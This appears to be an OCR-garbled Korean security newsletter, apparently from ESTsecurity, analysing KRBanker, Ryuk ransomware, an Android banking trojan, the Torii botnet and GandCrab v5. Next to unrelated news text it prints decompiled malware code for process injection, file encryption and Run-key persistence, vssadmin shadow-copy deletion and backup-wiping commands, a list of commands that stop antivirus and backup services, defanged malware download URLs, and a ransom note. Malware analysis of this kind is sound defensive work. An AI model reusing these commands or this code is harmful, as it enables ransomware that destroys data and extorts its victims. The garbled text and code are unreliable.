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S. Korea, U.S. working closely on
inter-Korean road, rail project: Cheong Wa

Dae:

S

SEQUL Oct 17 {im}l -- The office of President Moon Jae-in said
Wednesday that South Korea is working closely with the United States
as it seeks to reconnect roads and railways across the border with

Morth Korea..,

Presidential spokesman Kim Eui-mnm made the remark, rejecting a
media report that Secul and Washington are out of sync with each
other on the road and rail project after the U5, State Department said
improvernents in inter-Korean relations cannot move separately from

resohving the Morth Korea nuclear issue.,

"The South and the L5, are maintaining the highest level of
cooperation,” Kim told reporters. "The rail and road issue is moving
well as scheduled, and we're communicating closely with the United
States too."

]

Kim said he checked the State Department’s onginal comment and

.
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if { 1lpFileHame )}
1
u1l = FindResourceA(d, (LPCSTR}B8x8D, "DoD'});
u2 = ul;
if ( vl && (v3 = LoadResource{B, ul}) *= 8 )
1
us LockResource{ud);
if vt )
1
= SizeofResource(d, v2);
GlobalAlloc{2u, vG);
= GloballLock{u7);
(vi1, ws, wvaj);
ug (va);
(v, vi1, uva);
ug {WCHAR =)CreateFileW{lpFileHame, Bx40088000u,
l1pFileHamea = u9;
if ( v? == {(WCHAR =)-1 )}
1
GlobalUnlock{u7};
GlobalFree{u?);
(ud);
result = d;
H

else

{

WriteFile{v?, uv8, v, &HumberOfBytesWritten, 8});
CloseHandle{{HAHDLE)}1pFileHamea);
(ud);
GlobalUnlock{u?);
GlobalFree{u?});
result = 1;
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else

{

result = @;
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= FindResourcef{d, (LPCSTR)Bx8E, "EoE");
= ui;
vl && (v3 = LoadResource(d, vA)) *= 8 )

LockResource{uvd);
( vk )

vt = SizeofResource(d, vi);

v = GlobalAlloc{?u, ws);

hObject = uéb;

vl = GloballLock{vh]);
(vih, uvh, uG};

ui = (v5);
(v7, vil, ut};

*#(_BYTE =)u7 "= BxBFu;

vl = 1;

ifF ( ws > 1)

{

ue = {char =)ufy + 1;
do

{
vl = =(ug - 1)
®yQ++ "= ypiB@;
¥
while { v8 £ uwt J;
uh = hObject;

[0 5]'EoE' 2|AAS S25h= 4= Y

~

vi++ & BxBF;
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hxxp:/ W= 2% g% [upload / 1/ByFoWu.html
hxxp:/ v = 2% g [upload/ 1/RaHdAs jar
XXP:/ W 2% g9 [ plogd /1 /LVWizRo html
hXXP:/ W= 2% [ [upload /1 /swiobject js
hxxp:/ W W= 2% g [upload /1 /deconcept SWF
hxxp:/ W W= 2% g [upload / 1/ expressinstall swf
XXD:/ W 2% g9 [ upload /1 /ww.hitml
hoXxp: / W= 22 g [unload /1 /wwjs

hxxp:/ W= 2% g [upload /1 /waw.swi
hxxp:/ W= 2% g [upload /1 /ww.doc
hXX:/ W= 2% g9 [ pload /1 /bin_do.swf
hxxp:/ A W= 9 [k [ ypload /1 license. swf
hxxp:/ aw W= 2% g [upload /1 /logo swf
hxxp:/ w2 g [upload/ 1/deep_do swf
hxxp:/ AW W= 9 [ [ pload /1 /cam_do.swf
hxxp:/ /AW W= 2 [ [upload /1 /g Ss jar
hxxp:/ fw= 2 g ypload/ 1/kk exe

(BIRH RE7 Tl S0 |2t L5 = THA)

hxxp:/ /w—-dana.com/admode/upload/1/kk[Jexe
hxxp:/ /www.selffund.co.kr/upload/sel lexe
hxxp://kgfarmmall.co.kr/data/sample/kk[ Jexe
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HOIEE 0IBF01MIR?
¥ NG QSN Wod [ Ashy Lsiaeng

01 EBHE S UL
X OIRSADNE EUER B0 SO SHE SV FHS.

UNHopizs  @UOIRE & BKoRe

toxeaeey @ ESEe  HKEBOLIAY

i) i | B34
Sade S BNKENEY  BNKZuEY

P¥ZF2% citibank  txosvzew
Onzer Shsuey & HY

(22 3] 2 = AARI0M 20X = IH MO E 51H

X% SAS S5 HESC SHTUC. 55 EE 48U NS 3
K2 NS0 DHIAIS.
RESE WY FMW
XE 4 AIYE AS(O)
F2[R): http://localhost:1181/9F6C15D26E167:

ZEA MY

[P AEAL LANOL ZRA| At ALS(0] W2 T AFOIL VPN 27
Oi= XV RN

me [ Jeo B[ 30

[122 F20) ZEA M| A2 2 EE)

ES Tsegd,

mel ) [Lose ) =Ew

[O2 4] 22 DSA| MHE 033 IHy Al
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02 =7t =2k 7|

O|6HOf| 274 =l Zd2} Z40| Drive By Download £8 KRBanker 24T E= 2016 7EK| MEliSIHX|2E 2017 HEE

EZA| SR 50| 252 A& rdA=iUC

Fsg de I B8 PE 4IM

Timesamp 2018-10-18T00:55:05.000+0000

Characteristics RELOCS_STRIPPED | EXECUTABLE_IMAGE | LINE_NUMS_STRIPPED | LOCAL_SYMS_STRIPPED | 32BIT_MACHINE |
Base Of Code 0x00001000

Size Of Code 24064

DLL Characteristics -
Address Of Entry Point Ox00064001

File Alignment 0x00000200
[12] 5| KRBanker 2fAIFE EFRIAEHT 0|0|X]
fle| a2 20| siE LTV FUS 7IMOE CIA| RILE ARISICH= F0j| =2|E 7[20{0F SHH, 0[]t

FIAC0 IR 27| Rlolidd= Bl 22F YHI0IES &t S HS2I7H|014 HHI0|ES e 2oz

FAlok= 22 58S ol 7 EEIL.

Ot

ST A AMM= 2 AHTEES Spyware KrbankerGen' 22 ZITHSHD QUSLICE,
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[Trojan.Ransom.Ryuk]
AEIC 4 HIIA

1.7

Z LAINEC0] F= M| R[S A0 A0 SH0| Lol AIAR 2F0| OHH|=IRACE 0] SZof
AEE 2FGT == Ryuk HE= HoIRIL. sl 2E0l= 2ol = REZUE Hermes HEA02] HECZ

T2 FARSS 7HICL

[ThEkA], = 200l = Ryuk HER012] by liflet O1F Gl | et &0l CHol 7|XHetC.
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2.1, ZEMA Q1Hp

MEXNZRE] ZF AXS 2HoP | 2ol 2l S0 Z2AA T Y2|= MEo0] IfY A2siE sallol= I=2
QIHMSHTY. O] ZFHOIM ‘csrss.exe’, ‘explorerexe’, ‘lsaas.exe’= HMIQIEL:. 0= AIAH Qrgdnt QIS S5t
HXIE R2lol7| 2ot WRI= HOICE Eot M| Z2A|A ‘Isaas.exe’= sass.exe’2| QEfZ HOICH,

v22 = wesemp{v3l, v21);
if ((v22)
v22 = -(v22 < @) | 1;
if ( v22 & *(v21 + 131) == SearchingCount )
{
v23 = wesemp(v21, L"csrss.exe™);
if ((v23)
v23 = —(v23 < 0) | 1;
if ((v23)
{
v24 = wesemp(v21, L"explorer.exe™);
if ((wv24)
v24 = —(v24 < @) | 1;
if ( v24 )
{
v25 = wesemp(v21, L"lsaas.exe");
if (w25 )
v25 = —(v25 < 0) | 1;
if (w25 )
{
if ( osflag 1 && !SearchingCount || SearchingCount == 1 )
goto NextProcess;
v26 = InjectionCode(*(v21 + 13@));
unknown_libname 23(v26, &v32, 10);
Sleep(@x12Cu);
¥
¥
¥
¥

[0 1] Z2MA QI FE
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2.2 I AS3}

I ASSIE =3ok= WPHOIM S5 AS WXSE | lo Z ARIX| MAQ! ‘sysTHAUS &SIt 0] MU os
EHZ01| 2JeH 7~=2=|01 Windows XP O[St B A<, ‘C:\Documents and Settings\Default User K= Windows7
04 M AL, ‘C\Users\Public 5H|2 AASITY.

02

if (v1)
{
do
{
v3 = v2[1];
++v2;
}
while ( v3 );
gmemcpy(v2, L"\\Documents and Settings\\Default User\\sys", @x52u);
¥

else

{
do

{
vd = v2[1];
23
}
while ( v4 };
gmemepy(v2, L"\\users\\Public\\sys", @x24u);
b
SetlLastError(@);
v5 = CreateFileW(&Buffer, 0x40000000u, @, @, 3u, 2u, 0);
v6 = GetlastError();
if ((v6 == 32 )
{
CloseHandle(v5);
result = 2;
¥

else

eateFilel(&Buffer, @xCoo0oO00, 0, B, 2u, 2u, B) =0 ? 1 : 0;
v8;

(72 2] 2 ASR| 444 A

U AQIR| 7152 Sl 0| 9IS B, OIS A0k I US3IS IYBICY, 22| BE S2i0|H9} 3R
EOISS [NOR 2E A2 IAS HMSICL I B 5 TS| S5 SXIHO0|LE SIXIS 7HXI3 25 aiolk

a1

=
HNIQIEICE. Of= HiHlo| XIS R2lolal AAH MUS2 T ==i0fA H2lol| Az 2RI,
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W
12
0x
I
AL
1%
i

Windows
Ahnlab
Chrome
Mozilla

Y%Recycle..Bin
WINDOWS

[E 1] &3} M2l =X

dll
Ink
hrmlog
ini

exe

[E 2] 4S5} H|2| 2Rt

ChE2 TS Yselsh= F=0I0.

if ( SetFilePointer(vs, v17, 8, B) == -1 )
{
CloseHandle @(v5);
CryptDestroyKey(v22);
VirtualFree(v14, @, @x8000);
return 12;
h
if ( !ReadFile(v5, vi14, w28, &35, 8) )
{
CryptDestroyKey(v22);
CloseHandle @(v5);
VirtualFree(v14, @, @x8000);
return 13;
}
v3i3i = 1090000,
if ( !CryptEncrypt(v22, 0, v34, 8, 8, &/33, 8) )
{
CryptDestroyKey(v22);
CloseHandle @(v5);
VirtualFree(v14, @, @x8000);
return 14,

¥
if ( !CryptEncrypt(v22, @, v34, @8, vi4, &v28, v33) )

CryptDestroyKey(v22);
CloseHandle @(v5);

VirtualFree(v14, @, @x8000);
return 15;

72! 3] el @3t A
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f{g;:i? |

B
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—_— 1

AEAPH %

strcpy(’
via,

"vssadmin
"vssadmin
"vssadmin
"vssadmin
"vssadmin
"vssadmin
"vssadmin
"vssadmin
"vssadmin
"vssadmin
"vssadmin
"vssadmin
"vssadmin
"vssadmin

Delete
resize
resize
resize
resize
resize
resize
resize
resize
resize
resize
resize
resize
Delete

551 IS MRlEl AFOR

Shadows /all /quiet\r\n"

shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
Shadows /all

"del /s /f /q c:\\*.VHD c:\\*.
"*.dsk\r\n"
"del /s /T [q d:
"* . dsk\r\n"
"del /s /f /q e:
"* . dsk\r\n"
"del /s /f /q f:
"* . dsk\r\n"
"del /s /f /q g:
"*.dsk\r\n"

GetWindowsDirectoryW(&Buffer,
sprintf(&Buffer,

"del /s /f /q h:

\VELVHD di\\F.
\VELVHD e:\\*.
\VELVHD FrA\E.
\\ELVHD gi\\*.

5\*.VHD_h:\\*.

= Check0S_bits();

GetModuleFileNameW(@, &Filename, @x140u);

qmemcpy (

&Parameters,
L"/C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"svchos\" /t REG_SZ /d \"",

oxDeu) ;

MEMSET(&v4, @, 0x430u);
sprintf (& arameters, &Filenzme);
sprintf(& arameters, L"\" /f");

if (vo )

Jfor=c:
/for=c:
/for=
/for=
/for=e:
J/for=e:
/for=F:
J/for=t:
/for=g:
/for=g:
/for=
/for=
/quiet\r\

bac c:\\*.

bac

bac

bac

bac

bac

Bx64u

LEAR
e:\\*.
friVF.
g:\\*.
ha\\*.

Jon=c:
J/on=c:

d: /on=d:
d: /on=d:

/on=e:
J/on=e:
Jon=F:
Jon=f:
/on=g:
/on=g:

h: /on=h:
h: /on=h:

n"

bak h

);

L"\\System32\\cmd.exe");

sprintf(&Parameters, L" /reg:64");

ShellExecuteW(@, 8, &Buffer,

bak c:
bak d:
bak e:
bak f:
bak g:

AN

/maxsize=481MB\r\n"

/maxsize=unbounded\r\n"

/maxsize=401MB\r\n"

/maxsize=unbounded\r\n"

/maxsize=401MB\r\n"

/maxsize=unbounded\r\n"

/maxsize=401MB\r\n"

/maxsize=unbounded\r\n"

/maxsize=401MB\r\n"

/maxsize=unbounded\r\n"

/maxsize=481MB\r\n"

/maxsize=unbounded\r\n"

\WEawbcat ci\\®.

VW .wbcat di\\*.

\\W¥.wbcat e:\\*.

VW .wbcat fri\*.

VR wbcat gi\\®.

wbcat hi\\*.

[O2 4] S8z

&pParameters, 0, @);

3 5] XS &
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bkf e:\\Backup*.

%*;;f P JE._%”EIII
2Lt XS

bkf c:\\Backup*.* c:

bkt d:\\Backup*.* d:

bkf f:\\Backup*.* f:
bkf g:\\Backup*.* g:
bkf h:\\Backup*.* h:

AN 2=

\\backup*.
\\backup*.
:\\backup*.
\\backup*.
\\backup*.

\\backup*.

ot A O]
Ls= T M

RGN
AN
ARG
\\V*.
VFE,
SAVE

set

set

set

set

(o]

e:

7| th=0ll &

N\

AN

AW

AN
AN
AN

win

win

.win

.win

win

win

E=EE o V| 20 0IF LX[ol| flol] S/ME=RE AHISITE

o \\"
di\\"
er\\"
Fr”
gi\\"

h:\\*.dsk\r\ndel %0");

RIS HRE TS

A0 2 AR(X| D¥Z0| HOIU0|

24
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2.4. HEIH0E
S MH|ASS S=E o = T HI0[ES0]| EAUM. = e AHIA= Anti-Virus, DataBase Z=713 S
180 7H O[40| ZXHRICL. SHXIT O S=0k= FEI0| EXHotK| 27| IE0| Sl=IX| ph=r

1 stop \"Acronis VSS Provider\" /y
2 stop \"Enterprise Client Service\" /vy
3 stop \"Sophos Agent\" /vy
4 stop \"Sophos AutcUpdate Service\" /y
5 stop \"Sophos Clean Service\" /y
6 stop \"Sophos Device Control Service\" /y
J stop \"Sophos File Scanner Service\" /y
2 stop \"Sophos Health Service\" /y
9 stop \"Sophos MCS Agent\" /vy
10 stop \"Sophos MCS Client\" /y
11 stop \"Sophos Message Router\" /y
12 stop \"Sophos Safestore Service\" /y
13 stop \"Sophos System Protection Service\" /vy
14 stop \"Sophos Web Control Servicel\" /y
15 stop \"SQLsafe Backup Service\" /vy
16 stop \"5SQLsafe Filter Service\" /[y

17 stop \"Symantec System Recovery\" /y

158 stop \"Veeam Backup Catalog Data Service\" /y
19 stop AcronisAgent /vy

20 stop AcrSchZSvc /y

21 stop Antivirus /y

22 stop ARSM /[y

23 stop BackupExecAgentAccelerator /y

24  stop BackupExecAgentBrowser /[y

[0 6] MHIA B2 HE 0|
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ESTsecurity



opyTE

HI

A H 1

o

roid.Banker]
1 H 1A

[Trojan.An

=
OIMIAL =

1%

1.7

"rl'_'

MS Af2| Xamarin S &&oh= & TE g 0| SToIRAL. slid W2 +12 Sl0[AE0{2t Hiset 0|52t O10[2S
(®)

A510] AIBXIZS £0ICH KISZ01 Obd SHOIZ I5HA| 20| 00|22 &7\ B2kt HElS QPBICY T3t 47

—y ="

ES SollM 717I8E EFED Ol 2APISE, 45 S| THIEE7K| ZF[etT). FUEL} 7t AIES H

o=
7i= 2 gHE EFel

=2 2M HIMUIM= “Trojan.Android.Banker”E M| 2A16F XL

rol

I,

ESTsecurity



oliBoleS 7o ': == e
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intent . Put
intent . Put

Intwnt intent
intent . AddF
JEtar
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Bundle bundle)

Installer

.

SE Hlo|Ef x|

. s

o
b

H3oHH HIUHS

, ComponentEnab

alling appl

tion i
tion i
tion
tion

2 our
: our
: gur

app |
applic
nppln

Intent( 3

ndroid.
“android,

intent.
intent.

Installer

B %

1

&8

k<]

ion.

ABAE £017] flofiM ofid 2| O10IE2S =711 22X et
SRt Helo] SIEEE 7 I7 o] HigelHO = Xks OlFeiLt. 010
Soti H ARIE Yalfett

window, ",
s window, ",
> Window, ",
S window, ",
s Window. ",
s Window, "

MaTH" )

Please enable our application in this window.

ay
(73] 1] 24 29! 2|

. ComponentEnablelption.



OPMTE 24 BT
227P1 82 S5
71712 HHE HESS MH| 5933226:541 Of SFeith J=ju, &6 St2 =X| 3 o MEE=

dEsS== 71719 ’.‘J;Fﬂ._'li 2, HZEAL RAEE S 1071 717| B2t S=EIC

Get IMEI( )
.GetTelephonyManagerd ).

.BetTelephonyManager( ).

GetBuildf )

Build,

GetMode ()

Build.
GetManufacturer: )

Build.
GetCount rywl )

GetTelephonyManager( 3,
GetPhoneMumbert 3
JGetTelephonyManager( ).
Get [MZ

GetTelephan

GetZimOperator( )

JGetTelephonyMan:

[ip.addr == 5,9,33,226

1, Tirme Source Destination Proto
159 13.726474 192.168.13.77 5.9.33.226 TCP
160 14.0830046 .9.33.226 192.168.13.

161 14.137676 192.168.13.77 5.9.33.226 TCP
162 14.442826 .9.33.226 192.168.13.

179 22.758999 192.168.13.77 5.9.33.226 TCcP
171 22.759894 192.168.13.77 5.9.33.226 TCcP

173 23.143848 .9.33. 2% 192.168.13

174 23.143927 .9.33. . 192.168.13

[ 2] CRC A0l ME=k= 717 H=
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ARt

build
bui lder

images
lib
META-INF
res

Monb3oearenbckoe cornawenune Google
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| success.jpg
| style2 css
| style.css
| roboto.woff2

| [2] index_main.htmi|
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i headerg00240.png
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& error.png
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SendSMS
RequestGoogleCC
Wipe
OpenBrowser
SendUSSD
ServerChange
StartApp
CallPhone
SetPingTimer
SMSBroadcast
RequestContacts
RequestSMSList

2 VI EE Vs

SHlok= 23 71X FE2= E[0f Q.

RequestAppList
RequestLocation
ShowNotification
SetLockPassword
LockMow
MuteSound
LoadScript
LoadPlugin
Evaluate
Addinject
Removelnject

[0} 4) 2474 25

SendSMS BES Solik SMS & Hotks SRl SendTextMessage HIAES

{).CheckCallingOrsel fPermissic

. SendT el number,
EventHandl andle = JHand | e:
rhandle ! ]
text

hand | ef SME{ number,

. text,
JHand|e:

Ew l-'rltH1r||:| I
(handle

hand | e2( ZHE(number, text)l:

("android.permission, SEMO_S

SN SMS E &t

1 == Permission.

[3 5] SendSMS Y

RequestGoogle(C HEZS SoliM 7I1= HEE

ESTsecurity
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weby i eb¥iewC|ient WebYiewl|ients )]
ebChromeC | ient? WebChromeCl ientf 33

webView,
webView,

wp|uipw

web¥iew.
webView,
webView,

Laddd
th"iFw LoadUr [§

3. WipeDatafWipeDataF lags.

[T 7] Wipe B

OpenBrowser &= SofiA Hok= AMOIES 7|7(2] =HH0|| ZiE 4= UL

OpenBrowserl inkl url?

(3. StartMewsctivitw! "android. intent.action.YIEW", Android.Met.Uri.

[22 8] OpenBrowser HH

SendUSSD HEZ SoliA] 717 (2t HBE EY YEHE S01st 4= ULt OIS S, *#44336#2 S3IE +2H
ATLEQI| HFIQ| S o 4 QT *#92782#= 7|7| B2 52 9 4 UL}, 0]2} 2K215101 USSD = Unstructured
Supplementary Service Data 2| 2fX10|H, 422iEok= I2EZE 180 ¢f 7H2| BHO| EXlighCt.

number, isUSSD =

number = “tel!” + number:
i isUS30)

number = number . Replace! "#", Android.Met.lUri

(). StartMewsctivityl "android. intent .action.CALL", Android.Met.Uri. (number )}

[3& 9] SendUSSD &
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rverChange datad = resp.GetDat ~werChange=( ).
(“addrme”, datad.
= datad. 5

[ 10] ServerChange B2

StartExternal&pplicat ionng packageMame, activityMame)

Intent intent = Imtent )
intent . SetComponent ComponentMame! packageMamne, activityName)):
yddF lags( Act i . i

CallPhone S SofiM S8 Hs= HelE 2 4= UM

number, isUsSsSD =

number = "tel!" + number:
i isUSSD)

number = number . Replacel "#", Android.Met.Uri

siCe, (1. 5tartMewdsctivity! "android, intent.action,CALL", Android.Met.Uri, i number ) };

SetPingTimer 35 SollA (RC M2t SLIF7 IS 8- 4= ULt

.EResponzse.

SetPingTimer data? = resp.GetDa etPingTimer={ )

{"tp", data?. ¥
= . fdata?.

[ 13] SetPingTimer H&

ESTsecurity



{ ).GetContactsl ). BetEnumaratord 33

[ 14] SMSBroadcast H

RequestContacts, RequestSMSList, RequestApplList, RequestLocation 2t HHS S6HM FAE, SMS =5, EX|=
22 Qx| MHE QXsh 4 QlC}

171y

COnNTa
<Ema il
contact . : <Email={ ).
contact .

cont
<Pho

phoneContact . contact . . <Phone={ J,

list.AddlphoneContact 3.

[22! 15] RequestContacts HH
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List<Phone = |is List=Phone 5
gndroid. Met. Uri uri android. Het . Uri. ( “content:
ICUrsor cursar Jice, [ uer

i = count: Qi++)
list,4ddf FhonesHs

F L GetCalumnlnde
= cursar.GetStrinalcursar. GetColumn | ndes

sor ., MoveToNext( b

[Z2! 16] RequestSMSList HH

JGetInstal ledPa agelnfoFlags.

st . Addf Phonespp

JTostringf b,

[ 17] RequestApplList HH

Position result =
FhoneGeoloca

result.

[2 18] RequestLocation HH
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(Motificat

cation.Buil 1l Fio tContentTitle(title) SetContentText(text )

(3, 0, intent, PendinglintentFlags.
bui lde

notificationManager. Notify( tandomi }.Mext(1, 2048}, builder.Build{});

[22! 19] ShowNotification HZ

SetlockPassword S SoliA 71712 HIZHSE H|0{eit.

sowordlual ity
wordMinimumLengt b
ord{ password, setPasswordF lags.,

LockNow B&= SaliA 2IHS EZL.

{ 3. LockMowi i

[22 21] LockNow B

MuteSound BES SaliA] 7|7|2] A2|= [0St}

FyYice. (). Ge mEeryicel "audio” )
, mute};
, mutel:
, mutel:
, mute}:
. mutel:
, mutel;

audioManager. = RingerHode.

audioManager, = RingerMode,

(32! 22] MuteSound &

ESTsecurity



LoadScript, LoadPlugin, Evaluate, AddInject, Removelnject 5 7H2] 2t HHS SaHA ATZE Q) FE 411 2 ALK
52 =7t 7t 7FsSolLt.

. datall.

.ERezponse.

LoadPlugin datall = resp.GetData<LoadPlugin=( ).
(datall. . datall, , datall,

2.5 7|Er A2
CRC MH2te] SIS 7Alo| floliA 20|T0IS E=lotil, T MOS Sott] H0| HXIX| == SiTf. o,

i

TilEl= SMS o] HE%t LIES EFiol A= C&RC MHZ TSI,

Enablelifi{)

e{ )} = MNetworklnfo.:

(22 25] Hed HIo|

eceived = 3 eived! 1

= number:

. = text:
twork, i eNetRequest( ERequest .

[22 26] 41 =X EHH
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XI&S $15H 6 7HX] de ALSSHX|Rt SE215t 2X0] S, MES lot 24 Torii 2

New lot Botnet Torii Uses Six Methods for Persistence, Has No Clear Purpose
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Systemd £ S5l “System Daemon” AHIAZM XI5 Al8Y
[etc/init 2 PATH S S5t RiS Al3Y

SELinux ‘32 2| S ol XS &l
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ST CIISHKIE 215t 2E0| = Tor
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GandCrabv5 THMLI0], 2 2Kt HTML HMLEEE AR5t ALPC 2
AHED ASEA A25|

GandCrab V5 Released With Random Extensions and New HTML Ransom Note

GandCrabv5 &7t 2 71X =01 = Halet 2H SA| =IRICE 7H =0 Sl Hets, Y2stet Do)
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R[] 20, Tishit= st = Mt eieLES TS | ™ 7Kz ZEARS =X RHA 28 == RUTh
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= HiE FXt 5 JHE KR 20[Ct olE S04, SH210] HHQI0E HAE HE U= Intps X 2L,
Testdoc IfI0| A3t = AL testdocIntps 2+ 20| 0|F0| HZE = Z0|Ct. Ofl= =3t & TR0 U= S|

oflo]c.
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—
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GC l b Stest v l 44 y l Search Stest i l
Organize v Include in library Share with « New folder =~ [l @

7 Favorites

w4 Libraries

1.doc.Intps 1.jpg.Intps 1.png.Intps 2.doc.Intps 2.jpg.Intps 2.png.Intps

+& Homegroup
18 Computer L &N L = L =

“ﬁ Network

3.doc.Intps 3.jpg.Intps 3.png.Intps 4.doc.Intps 4,jpg.Intps 4.png.Intps

5.doc.Intps 5.jpg.Intps 5.png.Intps 6.doc.Intps 6.jpg.Intps 6.png.Intps
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Sk

All your files, documents, photos, databases and other important files are encrypted and have the extension:

M, HEA0=

=T, 71| HAEM 2
E9| Lig=2

Il‘XI-jl- lntps ﬁODE EHA‘| LI—EO| Ol
2 Of2het Zt,

/User/Desktop/Stest/LNTPS-DECRYPT.htmi

= GANDCRAB V5.0 =---

Attention!

[extension|-DECRYPT html [EXTENSION]-DECRYPTtxt 2H= 0|29] E_HJS&EE

2 LNTPS-DECRYPT.html 7t &

.LNTPS

The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can

AIEAETOR XI= AO|E0]| LZotH,

ESTsecurity

On our page you will

recover your files.

Download Tor browser - https://www.torproject.org/
Install Tor browser

Open Tor Browser

Open link in TOR browser: http://gandcrabmfeémnef.onion/
Follow the instructions on this page

ATTENTION!
IN ORDER TO PREVENT DATA DAMAGE:

* DO NOT MODIFY ENCRYPTED FILES
* DO NOT CHANGE DATA BELOW

GandCrab oft=7|Z 7| ?fet He 5t Xi=

The server with your key is in a closed network TOR. You can get there by the following ways:>

see instructions on payment and get the opportunity to decrypt 1 file for free.

Payment Page x

s H- (€

) gandcrabmfesmnef.onion

We are sorry, but your files have been encrypted!

Don't worry, we can help you to return all of your files!

Files decryptor's price is

If payment isn't made until the cost of decrypting files will be doubled

Time left to double price:

02 days 23h:59m:

What the matter?

What the matter?

Your computer has been infected with GandCrab Ransomware. Your files have been encrypted and you can't decrypt it by
yourself.

In the network, you can probably find decryptors and third-party software, but it won't help you and it only can make your files
undecryptable

What can I do to get my files back?

You should buy GandCrab Decryptor. This software will help you to decrypt all of your encrypted files and remove GandCrab
Ransomware from your PC.

Current price: $1,200.00. As payment, you need cryptocurrency oasz or =:ccc

What guarantees can you give to me?

You can use test decryption and decrypt 1 file for free

What is cryptocurrency and how can I purchase GandCrab Decryptor?

You can read more details about cryptocurrency at Google or here.
As payment, you have to buy ozs: or = using a credit card, and send coins to our address.
How can I pay to you?

You have to buy Bitcoin or DASH using a credit card. Links to services where you can do it: Das}
list

xchanges list, Bitcoin e:

After it, go to our payment page Buy GandCrab Decryptor, choose your payment method and follow the instructions
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[EX] https:/ /mwww bleepingcomputer.com/news/security/gandcrab—v5-ransomware-tilizing-the-alpc—task-scheduler-exploit/
https:/ /www.bleepingcomputer.com/news/security/gandcrab-v5-released-with-random-extensions-and-new-html-ransom-note/
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Researcher Discloses New Zero-Day Affecting All Versions of Windows
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